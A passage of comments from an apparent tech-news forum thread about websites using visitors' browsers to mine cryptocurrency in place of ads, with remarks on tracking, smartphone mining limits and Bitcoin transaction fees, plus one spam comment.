  29. Good by Anonymous Coward · · Score: 0

    Yes it can.
    evden eve nakliyat tavsiye

  30. This should work well by AHuxley · · Score: 1

    Unlike ads the user and their computer are been used to support the site they visit.
    No been tracked later, no changing of the browser experience. Use the site and the site gets a small amount of direct funding from every user.
    No third party stays tracking the user for the rest of their browsing

    --
    Domestic spying is now "Benign Information Gathering"
  31. MINER MINER FORTY-NINER by Anonymous Coward · · Score: 0

    1849. Live the dream. Again.

  32. Mining on a smartphone by tepples · · Score: 1

    As long as [...] the server side content provider gets the same average return

    Good luck getting much mining out of the dinky little ARM CPU in a smartphone or tablet.

  33. Transaction fees continue after coins are mined by tepples · · Score: 1

    As Bitcoin asymptotically approaches its cap of 21 million or whatever, mining will continue, focusing on collecting transaction fees. Likewise for similarly structured altcoins.